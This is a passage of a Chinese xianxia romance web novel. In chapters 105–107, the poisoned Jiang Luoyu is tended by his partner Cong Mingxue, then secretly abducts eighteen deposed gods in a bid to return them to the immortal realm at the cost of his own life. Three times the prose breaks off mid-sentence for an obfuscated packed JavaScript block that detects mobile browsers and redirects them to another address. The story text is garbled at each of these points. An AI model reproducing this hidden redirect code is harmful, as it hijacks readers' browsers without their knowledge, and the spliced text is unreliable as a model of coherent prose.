漆岚灵君附和道:“昆仑殿也相信仙尊。当初正是姜道友堪破了昆仑殿的迷障,才让近千弟子逃离魔器之口。他这样的人怎么会当了魔族的走狗?” 玄极宗宗主:“我玄极宗也相信仙尊的话。姜道友当初助我弟子堪破心魔,谢礼至今尚未能交到他手中,此次姜道友度过危难,我必然献上厚礼答谢。” 越来越多和天正宗交好的修士开口附和,众人不约而同开始清扫战场,“围剿仙盟”自此终于圆满结束。 三清秘境,浮空殿。 寝殿的床上躺着只穿着姜洛玉,床边围了一圈面带担忧的人。 姜家人一个不差,落雪峰师兄弟也挤在一起,三清秘境除了凝星几个拔尖儿的医修还有那伽、离昼、红楹……以及浑身白光的白三水。 凝星收回诊脉的手,蹙眉道:“境主以自身为媒介输送了太多灵力,又被精纯的魔气反扑,经脉这才承受不住几乎尽断……不过好在天雷淬体让境主的肉身比起普通渡劫修士来说强悍了不止一点,这才没彻底断掉。” 林朝盈“啊”了一声:“这还能接上吗?接上之后玉玉会不会不能修炼?” 姜林飞:“不能修炼可不成,前辈你一定要让小弟完好无损地醒过来啊!” 姜林琬揪住姜林飞的衣领,无语道:“你再大点声都要把小弟吵醒了。” 一旁熬药的何在夕打了个哈欠:“怎么可能?林道友多虑了,满秘境三十个渡劫修为的医修,更别提还有我这个医神在,这都治不好令郎……我还不如直接抹脖子去陪我家卿卿。” 林朝盈:“……” 阿木托:“境主苏醒后大概会虚弱上几年,在这期间里需得好好温养经脉,切忌不能再动用灵力。” 姜景安抱着棋盘的蹙眉:“不能动用灵力又该如何炼化药力?” 好问题。 姜林廷猜测道:“或许可以让其他人帮小弟炼化。” 齐怀仁和谢子宁脑袋里同时蹦出了一个名字。 垢姬站在床边尝试牵引经脉里的魔气无果后,掐了掐指甲,道:“大概……得让药辛帮忙了。” 一炷香后。 丛明雪终于处理完一切,趁着姜洛玉昏迷不问世事,动用副境主的权限把三清秘境通过锚点挪回了落雪峰。 走进寝殿,对上一群人灼灼的目光,哽了一下:“阿玉怎么样?” 迦南月:“你可算回来了,需要来个人把玉儿体内的魔气引出来才能治疗。” “他现在昏迷,谁的灵力都不肯接纳,就等你回来试了。” 丛明雪刚想开始,被凝星拦了下来。 凝星:“若真要引出魔气,需要在无人打扰且灵力充裕的地方。” “天地境东部有一处药泉,你带境主去那儿。” 105.穿越第一百零五天 药泉位于天地境东部的一处密林里。 密林的叶片由如梦似幻的云雾构成,使人走在其中如临仙境,不知身在何方。 通常情况下,这地方除了一些特殊的灵植外没有活物,没有灵兽会想被树叶吸收掉血肉灵力成为骸骨。 所有叶片吸收到的天地灵力都被供给了密林中央乳白色的药泉。 但今天,药泉响起了淅淅沥沥的水声。 云雾缭绕,只能隐隐能看见药泉靠在一起的身影。 两人都穿着亵衣,较高的男人一头银发泛着莹润的光泽,而他怀里,没骨头一样的青年趴在他胸前。 又软又弹的触感从脸上传来,姜洛玉迷迷糊糊间睁开了眼睛,下意识抓了一把。 姜洛玉:“……?” 丛明雪闷哼一声,改为用灵力托着怀里的人,无奈道:“别闹。” 意识到刚才摸到的东西是什么,姜洛玉清醒几分。 “这是哪儿?咱们过来干什么的?” 反正肯定不是单纯泡温泉。 带着淡淡清香的泉水流过四肢百骸,姜洛玉舒服得浑身上下,连头发丝都…… “我腿呢?!” 他惊恐地撑着丛明雪的前胸,想要拉出空隙低头看腿,却发现胳膊根本使不上力气。 不会……连医神也救不了他的经脉吧? 丛明雪抱着姜洛玉,拍了拍他的后背以示安抚:“腿还在。” 姜洛玉:“那我为什么感觉不到,你是不是在安慰我?” “我不会瘫了吧?” 丛明雪:“……” 他颇为无奈地笑了一声,掰过姜洛玉的脸,在那张被水汽熏得润红的唇上亲了一下。 姜洛玉:“……说正事呢,亲我做什么?” 亲也不好好亲。 思及此处,姜洛玉顺着丛明雪小腹堆叠在一起的亵衣…… 一路向下。 丛明雪一把抓住姜洛玉的手,一板一眼地放了回去:“你现在感受不到腿,是因为下身魔气淤塞过多。” “我正在为你拔出魔气。” 姜洛玉“哦”了一声,老老实实等着丛明雪继续动作。 冰凉的灵力灌进经脉,姜洛玉冷得一个哆嗦,随即密密麻麻的痒意传遍全身,还夹杂着说不清道不明的疼。 这种疼和受伤的疼法根本是两个概念,惹得姜洛玉忍不住闷哼几声,抓着丛明雪胳膊的手紧了紧,又脱力滑落。 丛明雪正用灵力一点点导出经脉里的魔气,故而只能用手托着姜洛玉。 “唔,好痒……又疼又痒的。”姜洛玉下意识蹭了蹭丛明雪的肩。 眼见着人有乱动趋势,丛明雪用了些力气禁锢住怀里的人,蹙眉道:“不许乱动。” 姜洛玉只好咬着丛明雪肩膀的布料,来缓解身体的不适。 一刻钟过后,姜洛玉有些无聊。 感受到体内灵力游走得如鱼得水,他开始胡乱喊着:“师尊……师尊?老师、老师?阿雪……” 叫了好几个称呼都不见人搭理自己,姜洛玉思考片刻,决定解锁新称呼。 “相公。” 丛明雪引出魔气的动作没有停顿,瞳孔却颤了颤。 “你是不是生气了?”姜洛玉想起拒绝放丛明雪出来时他的语气,“我错了,下次不会这般冒险了。” “下次……带你一起。” 恰好今天的魔气引出完毕,丛明雪收回灵力一言不发。 姜洛玉的腿恢复了知觉,直接缠了上去,和丛明雪四目相对:“我也是担心你们,白卅他不能对我动手,对你们就没有这个顾虑——” “所以呢?” 丛明雪几乎一字一顿地问道:“他不能杀你,难道不能伤你吗?” 姜洛玉准备好的话咽回了肚子。 丛明雪:“还有幕后之人,你又怎敢笃定他此次前来,不是又得了将你带上魔界的办法?” 姜洛玉移开了视线。 丛明雪:“你若是真的命悬一线,又打算把三清秘境交给我吗?” 姜洛玉哑口无言。 看着丛明雪漆黑的脸色,试了试四肢发现状态良好,于是一不做二不休地亲了上去。 丛明雪差点没被气笑,捏着姜洛玉后颈的软肉:“你还没……” “别气了,你要怎么罚我都行。” 姜洛玉咬了一下那张淡薄的唇,不能动用灵力,只好动手。 药泉的水雾逐渐升腾,模糊了水中两人的身影。 不知过了多久,姜洛玉略显狼狈地扒在岸边,眼尾浮现出两抹艳色。 他抓着药泉旁半透明的灵草:“不、不成……我的经脉好像出问题了,先停一会儿……” “经脉没问题。” 可姜洛玉觉得……问题大了去了。 丛明雪捞过湿透的人,道:“继续。” 姜洛玉抱着丛明雪的肩膀惊呼一声:“啊!” 丛明雪在带着艳色的唇上落下一吻:“不是说怎么罚都行?” “才一天就受不住?” 姜洛玉:“……” 他现在根本用不了灵力,更别提身体素质和练气修士没什么区别。 不过说出去的话泼出去的水。 姜洛玉红着眼,嘴硬道:“怎么可能?我——” 丛明雪贴在姜洛玉耳边,缓缓道:“彻底拔除魔气要七七四十九天,全身上下的经脉一共要用灵力过上七遍。” “既然你想要惩罚,就罚上七次好了。” 姜洛玉:“……” 吾命休矣。 五年后。 落雪峰弟子居,千红落梅树下,两道颀长的身影对坐而弈。 剑眉星目的青年坐在石凳上,而与他对弈的玄衣青年……却是坐在个模样奇异的轮椅上。 轮椅为黑木而制,包裹着柔软的外壳,扶手外侧,还排列着密密麻麻的按钮。 姜洛玉按下左侧扶手的按钮,扶手弹起变成了托盘,又按下右侧的红色按钮,托盘上就多出了插着吸管的奶茶。 五年匆匆而过,他成功变成了……半瘫。 瘫了,但是没全瘫。 因为杀白卅的时候,灭心毒悄无声息地侵染了他的神魂。 这毒当然不是他咬碎箭尖的时候中的,而是杀白卅刹那,爆开的毒药和魔核里的魔气起了反应,二者融合在一起,最后入侵到经脉里面。 那毒藏得极其隐蔽,甚至学会了他的变幻之法,最开始一年变得和经脉里久久不散的本源之力一模一样。 本源之力堆积在经脉里,让他灵力运转滞涩。 起初姜洛玉并未当回事,直到年底炼化了所有本源之力,灭心毒以势不可挡的架势发挥了它应有的作用。 好在丛明雪及时出现,又叫来凝星等人全力救治,这才捡回来一条命。 不过……却烙下了病根。 姜洛玉捶了捶现在一动用灵力就会失去知觉的腿,把奶茶递给递给姜景安:“爸,你的瓶颈还是没有头绪吗?” 姜景安接过奶茶,余光瞟过姜洛玉的腿,摇头:“还没,等我解出来这盘残局,大概就能成了。” 两人之间的棋盘上,摆着盘和死局没什么区别的残局。 整整一个时辰,他们都无法在这残局上落下一颗棋子。 但这盘棋又并非是死局,处处透着险象环生的勃勃生机。 “妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271250|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去哪儿了?”姜洛玉给自己也拿了一杯奶茶细细品着。 姜景安:“阿盈去宗主那儿取蛋了。” 姜洛玉有些疑惑:“什么蛋?” 姜景安:“……是你在修真大比上得到的奖品,运送来的路上出了点岔子,现在才能孵化出来。” “阿盈昨天不是和你说了吗?你还说把蛋给阿盈了。” 姜洛玉“啊”了一声,咳了咳:“我忘了。” 忘了。 姜景安难得严肃道:“老幺,你识海里的记忆是不是越来越混乱了。” 姜洛玉靠在轮椅上,抬起头看向花树上绚烂的梅花:“怎么会?医神的药可不是徒有虚名。” “新来的神君已经安排好了吗?” 他修养的这五年里,越来越多的神君被踢到了修真界。 那些神君在修真界听见了“药辛仙尊”的大名,全都找上了天正宗寻求庇护。 算上昨天上门的雨神,已经是第十五个了。 如今下界一共十八个没了神格的神君,仙界还有九十神君。 按照这个掠夺神格的速度,再过个几百年,仙界就要变天了。 “安排妥当了。” 熟悉的声音从身后传来,姜洛玉回过头粲然一笑:“阿雪,你来了。” 丛明雪“嗯”了声,直接把姜洛玉横抱起来,道:“爸,我来带阿玉去泡药泉。” 姜洛玉朝着姜景安挥挥手:“我先去了,回头让妈把灵兽蛋孵出来的小东西给我看一眼。” 姜景安点了点头,又在丛明雪离开前传音道:“我有话对你说。” 丛明雪抱着姜洛玉的手紧了紧。 药泉和五年前没有任何区别。 这五年里,姜洛玉泡药泉成了家常便饭,只不过因为某些原因,每次过来都会想起一些微妙的记忆。 将人放入水中特质的浴桶,丛明雪亲了亲姜洛玉的额头:“宗主找我有事,一会儿回来陪你。” 姜洛玉:“什么事?” 丛明雪:“散修盟盟主过来了,说是要和天正宗商讨开办比赛的事宜。” 姜洛玉:“好,你去吧。” 丛明雪当即消失在泉水边。 花树下,姜景安面对残局枯坐。 对面坐下了一道白衣身影。 姜景安喝了口奶茶,不知为何觉得今天的奶茶格外苦涩。 放下瓶子,声线沙哑道:“药辛,老幺现在……甚至记不清昨天说过的话。” “那灭心毒当真无药可解?” 丛明雪沉默一瞬,道:“是我的错。” 怪他……无能为力。 变异后的灭心毒渗入了五脏六腑,甚至是三魂七魄。 没人知道侵入魂魄的毒该怎么解。 白三水不知道,何在夕也不知道。 就算尽力延缓毒发时间,七年是极限,还有两年时间。 丛明雪又想着冥界或许会有办法,就想着通过往生河去冥界求见冥主。 若是冥界无法,再求冥主让他去妖界,又或者是偷渡回仙界。 万一白三水只是后遗症发作忘了办法呢? 他抱着无论付出什么代价都要见到冥主的决心跳入往生河,却只见到了艄公。 艄公告诉他,冥主休眠了,不再接待客人。 花树上新长出来的灵果突然坠落,砸在了死寂的残局上。 姜景安摇着头捡起灵果,心神俱震。 “死局”……活了。 药泉。 姜洛玉等待丛明雪回来的间隙,扶着浴桶打了个哈欠。 他伸出手指算了算,轻轻叹了一口气。 得开始实施计划了。 106.穿越第一百零六天 空气中传来微弱的灵力波动。 “咕噜”一声,无相球从水里钻了出来,飞到姜洛玉面前蹭了蹭他的脸。 无相球的声音依旧稚嫩,此时又多了些怯生生的感觉:“主人……” 姜洛玉撩了一把药泉水:“把信拿出来。” 无相球:“主人你不能这么一意孤行……” 姜洛玉捏住无相球,搓了两下:“你到底是不是我的本命法宝?怎么还想不听我的话?” 无相球委屈得差点“哇”得一声哭出来,哼哼唧唧从体内空间掏出一叠厚厚的信纸。 里面是一封……很长很长的告别信。 姜洛玉知道自己快死了。 众人预测的死期其实是他伪造的假象,实际上,还有两个月,他这副身体就要油尽灯枯。 不过姜洛玉并不认为自己会像白卅一样,连三魂七魄都被毒药溶解。 预感对于修士来说是很奇妙的东西。 但死局何解?他不知道。 他只知道摆在自己面前的只有两个结局,要么真的人死如灯灭,要么是……奇迹一般置死地而后生。 总归逃不过一个死字,所以姜洛玉决定,把自己的死亡利益最大化。 他要用自己的死,送下界十八位神君重返仙界。 五年来没什么事做,他便把《太一万法无相诀》从头到尾啃了个透彻,更加坚定了在别人眼里和疯了没什么区别的计划。 既然神君无法感应到神格,是因为被幕后之人切断了联系。那他就变成神格,助他们重新和神格建立联系,再将神格夺回。 信封戳到了脸颊,飘来淡淡墨香,姜洛玉这才回过神来。 他不记得自己写了几年,只记得昨天刚刚写完。 两年、三年?又或者是自从毒发那天算起的五年? 姜洛玉咳了咳,他连信中的内容也记不清,只好打开信封从头开始看起。 “见字如晤……” 无相球一哆嗦:“神君回来了!” 姜洛玉淡定地坐回浴桶,抬头对染了浑身梅香的丛明雪露出个笑来。 “怎么这么快就回来了?” 丛明雪不动声色地散去满身梅香,褪下外衣进了药泉:“散修盟盟主说议事先不急,他要和尘极好好叙叙旧。” 姜洛玉“哦”了一声,心知肚明丛明雪刚才回去找姜景安了。 他的衰败间接影响到了丛明雪,命格相连因果相缠的弊端得以显现。 虽然这毒不会霸道地自己转移丛明雪身上,却能让他多了几分感同身受。 随着死期将近,丛明雪受到的影响也越来越大——比如同样记性变差。 泡了一下午,灵力淤塞的经脉被丛明雪尽数通开,姜洛玉晕着脑袋被人抱着回了浮空殿。 等到丛明雪找借口再次离开,确认殿内无人,仅仅是殿外藏了几个灵君,姜洛玉果断屏蔽外界,又把无相球揪了出来。 姜洛玉:“交代你的事都记住了吗?” 无相球:“记、记住了。” 姜洛玉:“复述一遍,我忘了。” 无相球:“……” “等主人计划成功后,把信交给神君和大家,让他们安心等主人回来。” “主人……你真的能回来吗?呜呜呜你是不是在骗我……” 姜洛玉苍白的脸上浮现出一丝红晕,自信道:“我命不该绝。” 无相球:“……” 姜洛玉:“再拿纸笔出来。” 无相球委委屈屈地掏出纸笔:“主人你又要写什么?” 姜洛玉:“遗愿清单,仪式感不能少。” 无相球:“……?” 它趴在姜洛玉的肩头,看着他在上面写写画画,时不时刷新一下岌岌可危的底线。 木马、蜡烛、双……?双什么?是它想的那个吗? 无相球抖着声线:“主人你……” 还有这些文字最上面画着的野葱……不会是神君吧? 姜洛玉长叹一声:“阿雪什么都好,就是太规矩了。这几年顾及我的身体都是点到即止……” “而且我有预感,之后大概很长一段时间我们见不了面。” 俗话说饱暖思□□,他演傻子演了五年,也憋了差不多五年。 眼看着就要死了,不放纵一把说不过去。 无相球:“……” 它的眼睛。 算了,主人开心就好。 丛明雪回来时,看见了趴在姜洛玉怀里的黑色大猫。 他抱走大猫,揉了揉姜洛玉的腿:“怎么又动用灵力了?” 姜洛玉:“你不在有点睡不着,叫无相出来玩儿会。” 满地乱跑的无相球:“……” 姜洛玉眼睛亮晶晶的,一把扯住丛明雪的衣袖,声音低低的:“师尊……” “我们今天玩点不一样的。” 两个月,六十天。 遗愿清单上除了不可言说的愿望,姜洛玉还写了不少别的。 什么陪林朝盈撸灵兽、陪姜景安下棋、陪姜林廷他们上课、叫迦南月来三清秘境聚餐…… 零零碎碎想到什么就写什么,写了十几张纸才意犹未尽。 其实六十天完成不了那么多东西,不过就算把三清秘境的时间流速变慢,消耗的还是他的寿命,故而如今内外时间是同步的。 这些天不仅要抽空完成清单,还要在凝星几人的眼皮子底下用上一半儿时间压制灭心毒的毒性。 姜洛玉坐在浮空殿外的花树下算了算,今天是倒数第七天,除却不可言说已经完成,还剩下两张纸的内容。 腿上的话本被风吹得“哗啦”翻了好几页,露出上面精致的配图出来。 姜洛玉翻回自己正在看的那一页,喃喃道:“再等几天……” 他还不想死这么早。 “玉玉,快看!” 林朝盈抱着刚出生不久的狐狸幼崽递给了姜洛玉,幼崽的九条尾巴来回甩着,活像只小狗。 “这是灵兽蛋里孵出来的!” 姜洛玉撸了两把狐狸,没去纠结为何一颗蛋能孵出来九尾狐,任凭幼崽用乳牙啃着他的手指。 “滴答——” 黑血滴在了幼崽的皮毛上。 姜洛玉捂着鼻子,一阵天旋地转。 淡雅的熏香环绕在整个百花殿。 大殿中央,两人高的丹炉外燃烧着翠绿色的灵火,何在夕与凝星并肩而坐,同时炼药。 眼看着丹药炼制到了紧要关头,姜家众人忍不住屏息,三清秘境众人也跟着提心吊胆。 这九幽固魂丹必须得成啊! “咔嚓——” 殿外惊雷炸响,与此同时,丹炉内散发出了一股沁人心脾的丹药清香。 金灿灿的丹药飞出,被凝星捏在了手里。 丹成,十二品无暇! 丹劫随之而来,一刻钟后,丹药被放进了锁香玉盒。 “快去给境主服下!”凝星立马将玉盒递给了丛明雪。 “阿玉……该吃药了……” 朦朦胧胧的声音传进耳朵,姜洛玉本能地张开嘴。 丹药入腹,他的神智也跟着清明几分。 睁开眼,姜洛玉看见了姜家、三清秘境众人,甚至还有风尘仆仆的迦南月。 “我这是……怎么了?” 林朝盈险些没绷住,拎起九尾狐幼崽遮住了自己的脸。 姜景安揽住妻子的肩膀,默不作声。 凝星看着床上青年灰败的脸,喉中哽塞。 红楹背对着姜洛玉早就红了眼眶。 其他人一时间也没人出声。 这丹按理来说……入腹之后能活死人肉白骨。 但对姜洛玉而言,却只是让他清醒过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283180|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后还是离昼上前,替姜洛玉掖了掖被角:“境主不必担心,方才只是药性相冲。” 姜洛玉的视线划过众人的脸,最后和丛明雪对视,小声问道:“真的吗?” 那双葱绿色的眸子里,和以往一样平静。 “是真的。” 丛明雪捂住了姜洛玉的眼睛,重复着:“是真的。” “阿玉……你睡一觉就好了,听话。” 手心是凉的,很符合丛明雪一贯的体温。 可姜洛玉眉心却烫了一下,又瞬间无影无踪,似乎他感受到的都是错觉。 他意识到那股热源……是眼泪。 等姜洛玉睡下,又派了精怪照看,众人齐聚在落雪峰弟子居里。 林朝盈和迦南月一人一侧站在何在夕身边。 林朝盈声音哽咽:“医神,真的没办法了吗?不是说还有两年,怎么现在就……” 迦南月:“你不是医神吗?你都没办法,那谁还能有办法?” 何在夕最开始一言不发,到最后直接吼道:“我也想有办法!可是这毒早就顺着经脉渗透进了三魂七魄,连白三水都说不出什么。” “固魂丹也没用,我又能有什么办法?!” “他现在只剩下七天寿命了,七天一过灭心毒彻底发作,就是老医神复活了也救不了!” 白三水收到众人的注视,在白光里摇了摇头。 毒入三魂七魄,根本无法拔除。 姜洛玉必死无疑。 “我和阿玉命格相连,到底有没有办法……能将阿玉的毒转移到我身上?” 丛明雪在一片寂静中开口。 白三水诧异道:“我不知道。从来没人这么做过,也不知道该怎么做。” 林朝盈一惊:“药辛你……” 丛明雪当着众人的面,露出左臂呈现出黑色的经脉,道:“我已经尝试转移五年了,可始终不得要领。” 他拼尽全力也只能转移一点灭心毒到经脉里,再深入下去,这毒毫无反应。 不等众人说话,丛明雪放下袖子,恭恭敬敬对着所有人行了一礼:“在场诸位,大部分都是阿玉的长辈。” “我生于蛮野,本六亲淡薄,后又修天道,更是断情绝念。今遇阿玉,因他得师、得亲、得友……又得他朝夕相伴,夫复何求。” “明日我会再去一次冥界,冥主若还不见我,我便回来——” “以命替命。” 丛明雪:“那时,还望诸位让阿玉忘了我。” “就当我们……从没遇到过。” 夜凉如水。 姜洛玉睡够了睁开眼,被坐在床边的人影吓了一跳。 看清那抹在月光下反射着莹润光芒的银发,他对着丛明雪伸出手:“坐着干嘛,过来睡觉。” 丛明雪沉默着上床将人抱到怀里,后知后觉地用灵力驱散了身上的寒气。 “师尊啊……”姜洛玉感受到迟来的热度,没忍住笑了出来,“你现在怎么笨手笨脚的。” 他撑起身子,借着寝殿暖黄的灯光细细打量着丛明雪的眉眼,抓起丛明雪的手放在了自己下唇的红痣上。 “据说魂魄转世,就算相貌不一,痣的位置却不会变。” 丛明雪顺着力道按了按那颗艳红的痣。 “你会找到我的,对吗?” “别说胡话。”丛明雪微微起身,将人再度揽进怀中,“你该睡了。” 姜洛玉不做声,乖乖闭上双眼。 似乎是今日消耗了太多精力,丛明雪也跟着进入了梦乡。 梦中的姜洛玉穿着现世的高中校服,看他的眼神就像是在看毫不相干的陌生人。 他追着姜洛玉跑了一路,最后跌入黑暗里—— “阿玉!” 丛明雪一摸身侧,入手冰凉,并没有像往日一样躺着他的道侣。 姜洛玉不见了。 107.穿越第一百零七天 夜晚的天正宗别有一番风采。 傍晚刚下过一场秋雨,低迷的温度让浓郁的灵气得以具象化出现,这场如梦似幻的雾气会一直持续到太阳升起前。 但是,雨神总觉得今晚的雾气有些过于浓了,他在梦里都能闻到雾气的潮湿。 雨神开始回忆自己睡前是否关上了窗户,又或者是一时着急没关门。 “怎么睡这么死?” “……谁?!” 雨神艰难睁眼,对上了一张白到几乎透明的脸。 “啊——” 喊声戛然而止。 姜洛玉用软布捂住榻上男人的嘴,再用无相球变成的绳索将人结结实实捆住扔出窗外。 “咚。” 雨神掉到了马车里,正好砸在唯一的空位上。 车上还有其他十六位神君,和他一样都被捆着,一半儿多都昏迷不醒,嘴部和鼻腔都覆盖着软布。 剩下还清醒的几个,全都在用一种奇异的眼神面面相觑。 雨神疯狂用眼神示意着离自己最近的火神。 火神淡定蹭掉嘴上的软布:“傻子,神格是把你脑子也带走了吗?” 雨神:“……” 姜洛玉坐上板车前的灵马上,淡淡道:“迷药对几位貌似不生效,请见谅。” “我对绑人的手段不太熟。” 他回头数了数,见除了丛明雪人都齐了,又给迦南月盖了盖毯子。 扫过何在夕,以及白三水难得露出来的脸后,咳了咳,吩咐无相球变成的灵马离开天正宗。 灵马十分人性化的叹了一口气,幻化出翅膀,任劳任怨朝着归云海飞去。 此行目的地在归云海正中央的一片死岛上,那地方荒凉至极,又因为曾经被魔修拿来炼器导致怨气冲天。 通常情况下,就连海里的霸主都要躲着走,非常适合一会儿可能到来的……天劫。 马车飞了一会儿,姜洛玉一拍脑袋。 倒是忘了和尘极道君打招呼了。 计划成功,不仅丛明雪和迦南月都要离开修真界,还有齐怀仁和谢子宁。 他早就把两人一并纳入三清秘境里,等到他把三清秘境过给丛明雪,都能随着丛明雪一道飞升。 “无相,你在这儿等一会儿。” 无相球停在半空隐去众人身形,任凭马车里的人开启疯狂讨论模式。 雨神:“这人是谁,怎么能在药辛眼皮子底下把我们抓走?药辛现在不是什么修真界第一人吗?” 火神白了一眼:“你从哪个山沟爬来的天正宗?修真界第一人早就换了,现在是药辛的二弟子姜洛玉,就刚才那个。” 雨神一哽,他五年前掉下来的修真界。 在一个小镇听说丛明雪在天正宗后,就买了一副地图想上门求助。 不曾想途中误入秘境,被困了五年才出来。闷头赶路昨天才到天正宗,根本不知道外界发生了什么变化。 “你开玩笑吧,药辛这二弟子五年前不是还生死未卜?”雨神匪夷所思,“而且他失踪前只有金丹修为!” 火神:“当然是气运滔天得了奇遇,不仅一朝渡劫圆满,还顺带以一己之力破除了魔族在下界的布局。” “自此之后,修真界第一人就换了名头,‘烛山君’的名号享誉整个修真界。” 像什么道君、灵君是用来区别大乘和渡劫修士的,而这不加任何修饰的‘君’字,却不得了。 能够被称为某某君的,全都是为修真界做过巨大贡献,几乎凭一己之力改写修真界走向的大人物。 上一个被这么称呼的,还是两万年前寻得妙法稳固地脉,不让八洲分崩离析的广善君。 雨神一阵唏嘘,反应过来:“那他绑我们做什么?” 花神打了个哈欠,云鬓半歪:“小秘境说……要送我们回仙界。” “吱嘎——” 自弈的尘极道君侧过头,吃了一惊:“师叔?!” “你怎么自己过来了,仙尊呢?” 见姜洛玉没说话,脸色又难看得紧,尘极道君立马拉开椅子:“师叔你快坐下,气色怎么这么差?” 姜洛玉摇头,轻飘飘道:“我们要走了。” 尘极道君拉椅子的手僵在半空。 “不过不一定能成功。”姜洛玉把自己和丛明雪的命灯掏出来放在桌子上。 “若是我的灯灭了,师尊的灯变成白焰,就说明我成功了。” 命灯灯焰变白,说明人已经不在修真界,而是去了仙界。 尘极道君这几年得了些内幕,眼皮一跳:“师叔你不要做傻事——” “我快死了。” 姜洛玉挽起及腰的黑发,露出脖颈上的黑线:“毒发时间提前了。” “我要尝试将这些神君都送回去,包括师尊和娘,还有大师兄和子宁。” “成功之后,你便对外界宣称药辛仙尊与烛山君双双飞升,也算是一段可歌可泣的佳话。” 良久,尘极道君叹了一声,弯曲的腰杆逐渐挺直,最后变回了青年的模样。 姜洛玉递过去几个储物戒,道:“宗主,这里面是秘境的灵物,能够为宗门增添底蕴。黑色那个是给你的。” “天正宗就交给你了,合欢宗那边……到时候请你转告洛魁,让她正式接任宗主。” 说到最后,姜洛玉对着尘极道君笑了笑:“等你飞升仙界,未尝不能与娘再续前缘。” 尘极道君红了眼眶,却也知道姜洛玉没有骗他。 对面人身上的死气稍微一用心就能感受到,那是从内到外,从魂魄到□□即将腐朽的气息。 姜洛玉点了点头,转身离开。 “烛山君——” 尘极道君喊了一声,等到姜洛玉回首,深揖下去。 “一路珍重。” “阿嚏——” 雨神打了个喷嚏,外面瞬间下起了淅淅沥沥的小雨。 “很冷吗?” 姜洛玉带着满身寒气进了车厢,又让无相球搓出来个暖炉。 无相球“叛逆”地没放暖炉,而是开始给整个车厢加热。 车厢里一共十八个神,醒着的只有雨、火、花、风几个神族。 姜洛玉又让无相球变了只猫抱在怀里慢慢撸着,咳了咳,用帕子擦去嘴角的黑血。 凤神是个看着很沉默的男人。 他仔细瞧了瞧姜洛玉的脸,道:“你快死了。” 姜洛玉乐了:“我当然知道。” “那你有几分把握能送我们回仙界?”花神又打了个哈欠。 这孩子也不知道下了什么迷药,以她的神族之身也差点抵不住……想来大概是从三清秘境里拔出来,专门对付他们的。 姜洛玉:“没有把握,只是赌一把。” “反正……我现在和死人没什么区别,赌赢了你们就能回去收拾暗中下手的那个狗东西,也算是为我报仇。” 火神:“这个不用你说,我们自然会去找那畜生算账。除了这个,你还有什么想要的吗?” 其他三人也都目光灼灼。 他们活了太久,生死在他们眼里再寻常不过。 面对一个不是很熟悉,但是有可能成为他们救命恩人的小辈,更多的是惋惜和想要偿还因果的念头。 姜洛玉倒是真没想到这个,这下火神开口,他抱着猫思来想去,最后道:“你们到时候帮我看着点丛明雪,别让他走火入魔就行。” 毕竟用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288584|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看了无数小说和话本后得出的结论来看,丛明雪这种平日里寡言少语的闷葫芦,往往很容易在沉默中变态。 四人:“……?” “我在遗书里大概……撒了一个小谎。”姜洛玉望着车棚,“我说还能复活,但这只是一个预感而已,做不得真。” “或许是脑子不清楚了,才——” “主人,到了。” 姜洛玉收起感慨,头也不回地掀开门帘。 软椅上,迦南月的手动了动。 九月份的归云海正值全面秋捕时期,即使是在夜半时刻,也能看见海面有鱼群跃起泛起的银光。 姜洛玉飘到海岛正上方,催动灵气化为声波传到了几千海里内。 “不想遭到波及,就远离海岛,或是沉入深海。” 海面顿起波涛。 归云海里的霸主面对这些玄之又玄的气息十分敏感,唯恐等一会儿被一起拖下水,不出一炷香全都带着领域里的小鱼小虾逃之夭夭。 姜洛玉这才放出了丛明雪。 之前注意到丛明雪从迷梦里清醒,他便又将人迷晕过去,确保他醒不过来。 躺在半空的银发男人看起来睡得很不安稳,似乎被梦魇住了,额角挂着细密的汗珠。 “不知道还能不能再见了……” 姜洛玉轻叹一声,伸出手指点上丛明雪的眉心,开始燃烧三清秘境的本源之力。 本源之力只要不用没,秘境就能再度慢慢积攒。 接下来,他要斩因果,断命缘。 他与丛明雪命格相缠,总不能他死了,连累自家道侣一起死。 斩断因果,命缘也就跟着断了。 但什么又是因果? 姜洛玉的手缓缓划过丛明雪的鼻梁、嘴唇、下巴……最后停在了喉结处。 从他们相遇在仙灵园那一刻起,便是因果。 无数具象化的因果红线井喷式爆发,姜洛玉被扑了个趔趄。 等他站稳抬头,发现几乎整个天幕都被两人的因果线遮得严严实实。 像一片红色的海。 划破手腕逼出精血,简单炼化成了小刀,姜洛玉开始一点一点砍断身上的因果线。 因果线按常理来说极难斩断,不过好在他身上的变异灭心毒着实奇异。 就是过程有点疼。 